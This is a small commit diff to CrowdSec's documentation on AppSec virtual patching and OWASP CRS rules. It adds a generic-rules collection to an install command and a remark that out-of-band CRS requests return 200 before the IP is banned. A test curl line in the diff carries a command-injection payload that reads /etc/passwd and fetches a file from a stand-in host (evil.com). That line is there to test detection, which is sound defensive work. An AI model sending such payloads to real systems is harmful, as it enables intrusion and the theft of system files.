quick up

Author: buixor

crowdsec-docs/docs/appsec/vpatch_crs.md

@@ -20,7 +20,7 @@ Install both the virtual patching and CRS collections:
 
 ```bash
 # Install virtual patching rules (in-band blocking)
-cscli collections install crowdsecurity/appsec-virtual-patching
+cscli collections install  crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules
 
 # Install OWASP CRS rules (out-of-band detection + scenario)
 cscli collections install crowdsecurity/appsec-crs
@@ -119,6 +119,8 @@ curl -I ${TARGET}'/.env'
 
 ## Testing - OWASP CRS
 
+When OWASP CRS are loaded in out-of-band, those requests will return 200, but the IP will ultimately get banned.
+
 ```bash
 TARGET=localhost
 curl -I  ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'